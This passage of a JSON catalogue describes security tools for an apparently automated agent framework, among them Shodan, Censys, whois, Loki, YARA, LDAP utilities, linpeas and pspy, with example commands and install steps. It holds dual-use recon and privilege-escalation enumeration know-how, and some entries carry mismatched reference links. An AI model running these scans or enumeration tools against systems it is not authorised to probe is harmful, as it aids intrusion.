        "type": "security.intel.shodan.host",
        "description": "Censys host information",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.osint",
      "security.recon.passive",
      "network.discovery.host",
      "security.fingerprint.service",
      "network.discovery.certificate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.intel.search.query",
          "description": "Censys search query"
        },
        {
          "type": "network.target.ip",
          "description": "IP address to query"
        }
      ],
      "outputs": [
        {
          "type": "security.intel.search.query",
          "description": "Search result data",
          "mime": "application/json"
        },
        {
          "type": "network.scan.json",
          "description": "Host and port information",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Command-line interface to the Censys internet asset search engine for discovering exposed devices, certificates, and services across the global internet.",
    "examples": [
      {
        "description": "Search for exposed SSH servers",
        "command": "censys search \"services.service_name: SSH\""
      },
      {
        "description": "Lookup IP address information",
        "command": "censys view 8.8.8.8"
      },
      {
        "description": "Search for certificates for a domain",
        "command": "censys search \"names: example.com\" --index certificates"
      },
      {
        "description": "Export results as JSON",
        "command": "censys search \"services.port: 443\" --output results.json"
      }
    ],
    "execution": {
      "template": "censys {search} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "security-intel-censys",
    "install": [
      {
        "method": "pip",
        "package_name": "censys",
        "commands": [
          "pip install censys"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "censys",
    "namespace": "security:intel:censys",
    "parameters": [
      {
        "name": "search",
        "type": "string",
        "required": false,
        "description": "Search query for hosts, certificates, or services",
        "aliases": [
          "search"
        ],
        "flag": "search"
      },
      {
        "name": "flag-i",
        "type": "string",
        "required": false,
        "description": "Query by IP address",
        "aliases": [
          "-i",
          "--ip"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-a",
        "type": "boolean",
        "required": false,
        "description": "Query by Autonomous System Number",
        "aliases": [
          "-a",
          "--asn"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-d",
        "type": "string",
        "required": false,
        "description": "Query by domain name",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-c",
        "type": "string",
        "required": false,
        "description": "Query by certificate SHA-256 fingerprint",
        "aliases": [
          "-c",
          "--certificate"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-O",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-O",
          "--output"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-j",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-h",
        "type": "boolean",
        "required": false,
        "description": "Show help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Censys CLI Documentation",
        "url": "https://search.censys.io/"
      }
    ],
    "related_tools": [
      "shodan",
      "zoomEye"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "search-results",
        "host-info",
        "certificate-data"
      ],
      "consumes": [
        "search-query",
        "ip-address"
      ]
    }
  },
  {
    "_body": "\n# Shodan CLI — Internet Device Search Engine\n\nShodan is a search engine for internet-connected devices. The CLI tool provides programmatic access to the Shodan database, allowing you to search for specific technologies, view host details, download datasets, and set up continuous monitoring.\n\n## Search Filters\n\n| Filter | Description | Example |\n|--------|-------------|---------|\n| `port` | Filter by port number | `port:22` |\n| `country` | Filter by country code | `country:US` |\n| `org` | Filter by organization | `org:\"Google\"` |\n| `product` | Filter by product name | `product:nginx` |\n| `os` | Filter by operating system | `os:Linux` |\n| `vuln` | Filter by vulnerability | `vuln:CVE-2021-41773` |\n\n## Usage\n\n```bash\n# Search with filters\nshodan search \"port:443 product:Apache country:JP\"\n\n# Host summary\nshodan host 8.8.8.8\n\n# Download and parse\nshodan download data \"port:22\" --limit 1000\nshodan parse data.json.gz\n```\n",
    "_source": "shodan.md",
    "allowed-tools": [
      "shodan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.intel.shodan.search",
        "description": "Shodan search results",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "security.intel.shodan.host",
        "description": "Shodan host information",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.osint",
      "security.recon.passive",
      "network.discovery.host",
      "security.fingerprint.service",
      "security.intel.vulnerability",
      "network.discovery.iot"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "IP address to query"
        },
        {
          "type": "security.intel.search.query",
          "description": "Search query string"
        }
      ],
      "outputs": [
        {
          "type": "security.intel.shodan.host",
          "description": "Host information including ports and banners",
          "mime": "application/json"
        },
        {
          "type": "security.intel.shodan.search",
          "description": "Search results",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Command-line interface to the Shodan search engine for discovering internet-connected devices, open ports, and service banners.",
    "examples": [
      {
        "description": "Initialize Shodan with API key",
        "command": "shodan init YOUR_API_KEY"
      },
      {
        "description": "Search for devices running Apache",
        "command": "shodan search apache"
      },
      {
        "description": "View host information for an IP",
        "command": "shodan host 8.8.8.8"
      },
      {
        "description": "Count results for a search query",
        "command": "shodan count \"product:nginx\""
      },
      {
        "description": "Download search results to a file",
        "command": "shodan download results.json.gz \"port:22 country:US\""
      },
      {
        "description": "Parse downloaded results",
        "command": "shodan parse results.json.gz"
      },
      {
        "description": "Scan an IP or netblock",
        "command": "shodan scan submit 10.0.0.0/24"
      },
      {
        "description": "Check if an IP is a honeypot",
        "command": "shodan honeyscore 185.220.101.1"
      },
      {
        "description": "My public IP info",
        "command": "shodan myip"
      },
      {
        "description": "Monitor network with alerts",
        "command": "shodan alert create \"My Alert\" 10.0.0.0/24"
      }
    ],
    "execution": {
      "template": "shodan {command} {args}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "command": "host",
      "args": "8.8.8.8"
    },
    "id": "security-intel-shodan-cli",
    "install": [
      {
        "method": "pip",
        "package_name": "shodan",
        "commands": [
          "pip install shodan"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "shodan",
    "namespace": "security:intel:shodan",
    "parameters": [
      {
        "name": "args",
        "template_key": "args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Arguments for the subcommand",
        "aliases": []
      },
      {
        "name": "command",
        "template_key": "command",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Shodan command (search, host, count, download, etc.)",
        "aliases": []
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this message and exit.",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Shodan CLI Documentation",
        "url": "https://cli.shodan.io/"
      },
      {
        "label": "Shodan Website",
        "url": "https://www.shodan.io/"
      }
    ],
    "related_tools": [
      "censys",
      "zoomEye",
      "recon-ng",
      "theharvester"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "host-info",
        "search-results",
        "port-banners"
      ],
      "consumes": [
        "ip-address",
        "search-query"
      ]
    }
  },
  {
    "_body": "\n# Whois — Domain and IP Registration Lookup\n\nWHOIS is a query and response protocol for querying databases that store registered users or assignees of domain names and IP address blocks. It's an essential tool for passive reconnaissance and domain research.\n\n## Key Information Retrieved\n\n| Data Point | Description |\n|------------|-------------|\n| **Registrar** | Company where domain was registered |\n| **Registrant** | Domain owner name and organization |\n| **Creation Date** | When the domain was registered |\n| **Expiration Date** | When registration expires |\n| **Name Servers** | DNS servers for the domain |\n| **Admin/Tech Contacts** | Administrative and technical contacts |\n\n## Use Cases\n\n### Security Research\n- Identify domain ownership for threat intelligence\n- Discover related domains via shared registrant info\n- Verify domain age and legitimacy\n\n### Network Administration\n- Find contact info for abuse reporting\n- Identify IP address block ownership\n- Check domain expiration for renewal planning\n\n## Limitations\n\n- WHOIS privacy services often mask registrant details\n- Rate-limited by many WHOIS servers\n- Different TLDs use different WHOIS servers\n- GDPR has reduced WHOIS data availability in Europe\n\n## Related Tools\n\n- **[dig](../../dns/dig.md)** — DNS record lookup\n- **[dnsrecon](../../recon/dnsrecon.md)** — Automated DNS enumeration\n- **[theHarvester](../../recon/theHarvester.md)** — Email and subdomain discovery\n",
    "_source": "whois.md",
    "allowed-tools": [
      "whois",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "security.intel.whois.record",
        "description": "WHOIS record data for domain or IP",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.whois",
      "security.intel.domain",
      "security.intel.ip",
      "security.recon.passive",
      "network.dns.lookup"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Domain name to query"
        },
        {
          "type": "network.target.ip",
          "description": "IP address to query"
        }
      ],
      "outputs": [
        {
          "type": "security.intel.whois.record",
          "description": "Domain or IP registration details",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "none"
      }
    },
    "dependencies": [],
    "description": "Domain registration and IP address lookup service for querying WHOIS databases for ownership and metadata.",
    "examples": [
      {
        "description": "Query domain registration information",
        "command": "whois example.com"
      },
      {
        "description": "Query IP address ownership",
        "command": "whois 8.8.8.8"
      },
      {
        "description": "Query a specific WHOIS server",
        "command": "whois -h whois.verisign-grs.com example.com"
      },
      {
        "description": "Get raw server response",
        "command": "whois -v example.com"
      },
      {
        "description": "Retrieve registration details of an IP address",
        "command": "whois 192.0.2.1"
      },
      {
        "description": "Query a specific WHOIS server for domain information",
        "command": "whois -h whois.nic.xyz example.xyz"
      },
      {
        "description": "Display command usage information in case of errors or unsure use",
        "command": "whois -h"
      },
      {
        "description": "Use specific WHOIS server on a non-standard port",
        "command": "whois -h whois.example.com -p 43 example.com"
      },
      {
        "description": "Format output to be more readable by human",
        "command": "whois -H example.com"
      },
      {
        "description": "Display help and additional options",
        "command": "whois --help"
      }
    ],
    "execution": {
      "template": "whois {host-host} {port-port} {verbose} {no-recursion} {help}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {
      "host-host": "ip",
      "port-port": "port"
    },
    "id": "security-intel-whois",
    "install": [
      {
        "method": "apt",
        "package_name": "whois",
        "commands": [
          "apt-get install -y whois"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "whois",
    "namespace": "security:intel:whois",
    "parameters": [
      {
        "name": "host HOST",
        "template_key": "host-host",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect to server HOST",
        "aliases": [
          "-h",
          "--host HOST"
        ],
        "flag": "-h"
      },
      {
        "name": "port PORT",
        "template_key": "port-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "connect to PORT",
        "aliases": [
          "-p",
          "--port PORT"
        ],
        "flag": "-p"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explain what is being done",
        "aliases": [
          "--verbose"
        ],
        "flag": "--verbose"
      },
      {
        "name": "no-recursion",
        "template_key": "no-recursion",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable recursion from registry to registrar servers",
        "aliases": [
          "--no-recursion"
        ],
        "flag": "--no-recursion"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find the one level less specific match",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find all one level more specific matches",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find the smallest match containing a mnt-irt attribute",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exact match",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "return brief IP address ranges with abuse contact",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "return DNS reverse delegation objects too",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do an inverse look-up for specified ATTRibutes",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only look for objects of TYPE",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off recursive look-ups for contact information",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "also search all the mirrored databases",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find updates from SOURCE from serial FIRST to LAST",
        "aliases": [
          "-g",
          "-L"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "request template for object of TYPE",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "request verbose template for object of TYPE",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "WHOIS protocol specification",
        "url": "https://datatracker.ietf.org/doc/html/rfc3912"
      },
      {
        "label": "ICANN WHOIS service",
        "url": "https://whois.icann.org/"
      }
    ],
    "related_tools": [
      "dig",
      "host",
      "dnsrecon",
      "theHarvester"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "none"
    },
    "risk_level": "low",
    "services": [
      "DNS"
    ],
    "techniques": [
      "recon"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "whois-record",
        "domain-registration"
      ],
      "consumes": [
        "domain-name",
        "ip-address"
      ]
    }
  },
  {
    "_body": "\n# Loki — IOC Scanner\n\nLoki is an IOC (Indicator of Compromise) scanner that checks files and systems against threat intelligence feeds, YARA rules, and other IOC sources. It's designed for incident response and malware detection.\n\n## Usage\n\n```bash\n# Basic scan\npython3 loki.py -p /path/to/scan\n\n# With custom YARA rules\npython3 loki.py -p /path/to/scan -y rules.yar\n\n# With custom IOC rules directory\npython3 loki.py -p /path/to/scan -r /path/to/ioc-rules\n\n# JSON output with minimum score\npython3 loki.py -p /path/to/scan -s 100 -f json -o results.json\n```\n",
    "_source": "loki.md",
    "allowed-tools": [
      "loki",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "ioc.scan.report",
        "description": "IOC scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "ioc.scan.json",
        "description": "JSON format scan results",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "ioc.scan.file",
      "ioc.scan.system",
      "ioc.detect.malware",
      "ioc.yara.match",
      "ioc.threat-intel"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.path",
          "description": "Path to scan (file or directory)"
        },
        {
          "type": "ioc.rules",
          "description": "Path to IOC rules or YARA rules"
        }
      ],
      "outputs": [
        {
          "type": "ioc.scan.report",
          "description": "Scan results with matched IOCs",
          "mime": "text/plain"
        },
        {
          "type": "ioc.scan.json",
          "description": "JSON format findings",
          "mime": "application/json"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "IOC (Indicator of Compromise) scanner that checks files and systems against threat intelligence feeds and YARA rules for malware detection.",
    "examples": [
      {
        "description": "Basic scan with default rules",
        "command": "python3 loki.py -p /path/to/scan"
      },
      {
        "description": "Scan with custom YARA rules",
        "command": "python3 loki.py -p /path/to/scan -y rules.yar"
      },
      {
        "description": "Scan with custom IOC rules",
        "command": "python3 loki.py -p /path/to/scan -r /path/to/ioc-rules"
      },
      {
        "description": "JSON output with score threshold",
        "command": "python3 loki.py -p /path/to/scan -s 100 -f json -o results.json"
      }
    ],
    "execution": {
      "template": "python3 loki.py {flag-yara} {flag-rules} {flag-ioc} {flag-score} {flag-output} {flag-format} {flag-nobeeps} {flag-no-progress} {flag-verbose} -p {path}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "id": "security-ioc-loki",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/Neo23x0/Loki.git",
        "commands": [
          "git clone https://github.com/Neo23x0/Loki.git",
          "cd Loki && pip install -r requirements.txt"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "loki",
    "namespace": "security:ioc:loki",
    "parameters": [
      {
        "name": "path",
        "type": "string",
        "required": true,
        "description": "Path to scan (file or directory)",
        "aliases": [
          "-p",
          "--path"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-rules",
        "type": "string",
        "required": false,
        "description": "Path to custom rules directory",
        "aliases": [
          "-r",
          "--rules"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-yara",
        "type": "string",
        "required": false,
        "description": "YARA rule file or directory",
        "aliases": [
          "-y",
          "--yara-rules"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-ioc",
        "type": "string",
        "required": false,
        "description": "IOC checkbox file",
        "aliases": [
          "--ioc"
        ],
        "flag": "--ioc"
      },
      {
        "name": "flag-score",
        "type": "integer",
        "required": false,
        "description": "Minimum score threshold",
        "aliases": [
          "-s",
          "--score"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-format",
        "type": "string",
        "required": false,
        "description": "Output format (text, json, syslog)",
        "aliases": [
          "-f",
          "--format"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-nobeeps",
        "type": "boolean",
        "required": false,
        "description": "Disable beep on alert",
        "aliases": [
          "--nobeeps"
        ],
        "flag": "--nobeeps"
      },
      {
        "name": "flag-no-progress",
        "type": "boolean",
        "required": false,
        "description": "Disable progress bar",
        "aliases": [
          "--no-progress"
        ],
        "flag": "--no-progress"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Loki IOC Scanner GitHub",
        "url": "https://github.com/Neo23x0/Loki"
      }
    ],
    "related_tools": [
      "yara",
      "grep",
      "threatstream"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "ioc-findings",
        "scan-report"
      ],
      "consumes": [
        "target-path",
        "ioc-rules"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ksetup.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Configures Kerberos realm mappings and encryption types.",
    "examples": [
      {
        "description": "Display help for ksetup",
        "command": "ksetup /?"
      }
    ],
    "execution": {
      "template": "ksetup /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-ksetup",
    "mitre_ids": [],
    "name": "ksetup",
    "namespace": "security:kerberos:config",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "ksetup Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "klist.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Lists cached Kerberos tickets for authentication.",
    "examples": [
      {
        "description": "Display help for klist",
        "command": "klist /?"
      }
    ],
    "execution": {
      "template": "klist /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-klist",
    "mitre_ids": [
      "T1558"
    ],
    "name": "klist",
    "namespace": "security:kerberos:tickets",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "klist Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/klist"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ldapdomaindump.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Dumps LDAP domain information from Active Directory.",
    "examples": [
      {
        "description": "Display help for ldapdomaindump",
        "command": "ldapdomaindump --help"
      }
    ],
    "execution": {
      "template": "ldapdomaindump --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-ldapdomaindump",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install ldapdomaindump"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "ldapdomaindump",
    "namespace": "security:ldap:dump",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "ldapdomaindump Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ldapdomaindump"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ldapsearch.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "LDAP search tool for querying directory services.",
    "examples": [
      {
        "description": "Display help for ldapsearch",
        "command": "ldapsearch --help"
      }
    ],
    "execution": {
      "template": "ldapsearch --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-ldapsearch",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y ldap-utils"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "ldapsearch",
    "namespace": "security:ldap:query",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "ldapsearch Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ldapsearch"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ldapwhoami.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Sends an LDAP WhoAmI extended operation to a directory server.",
    "examples": [
      {
        "description": "Display help for ldapwhoami",
        "command": "ldapwhoami --help"
      }
    ],
    "execution": {
      "template": "ldapwhoami --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-ldapwhoami",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y ldap-utils"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "ldapwhoami",
    "namespace": "security:ldap:query",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "ldapwhoami Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ldapwhoami"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "linpeas.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Linux local privilege escalation enumeration and auditing script.",
    "examples": [
      {
        "description": "Display help for linpeas",
        "command": "linpeas --help"
      }
    ],
    "execution": {
      "template": "linpeas --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-linpeas",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "linpeas",
    "namespace": "security:linux:enumeration",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "linpeas Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/linpeas"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "pspy.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Process monitor for Linux privilege escalation detection.",
    "examples": [
      {
        "description": "Display help for pspy",
        "command": "pspy --help"
      }
    ],
    "execution": {
      "template": "pspy --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-pspy",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "pspy",
    "namespace": "security:linux:monitor",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "pspy Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pspy"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# YARA — Malware Pattern Matching\n\nYARA is a pattern matching tool designed for malware researchers to create descriptions of malware families based on textual or binary patterns. Rules consist of strings definitions and boolean expressions that determine the logic.\n\n## Rule Structure\n\n```yara\nrule ExampleRule {\n    meta:\n        description = \"Example YARA rule\"\n        author = \"Researcher\"\n    strings:\n        $text_string = \"malicious_string\"\n        $hex_string = { 4D 5A 90 00 }\n        $byte_string = \"This program\" nocase\n    condition:\n        $text_string or $hex_string\n}\n```\n\n## Common Commands\n\n```bash\n# Scan files with rules\nyara -s rules.yara /path/to/malware.exe\n\n# Recursive directory scan\nyara -r /path/to/rules/ /samples/directory/\n\n# Scan with metadata output\nyara -m rules.yara suspicious.bin\n```\n",
    "_source": "yara.md",
    "allowed-tools": [
      "yara",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.txt",
        "description": "YARA scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "report.json",
        "description": "YARA scan results in JSON",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "malware.analyze",
      "malware.classify",
      "malware.detect",
      "forensics.scan",
      "binary.pattern.match"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.path",
          "description": "File or directory to scan"
        },
        {
          "type": "security.rule.file",
          "description": "YARA rule file to apply"
        }
      ],
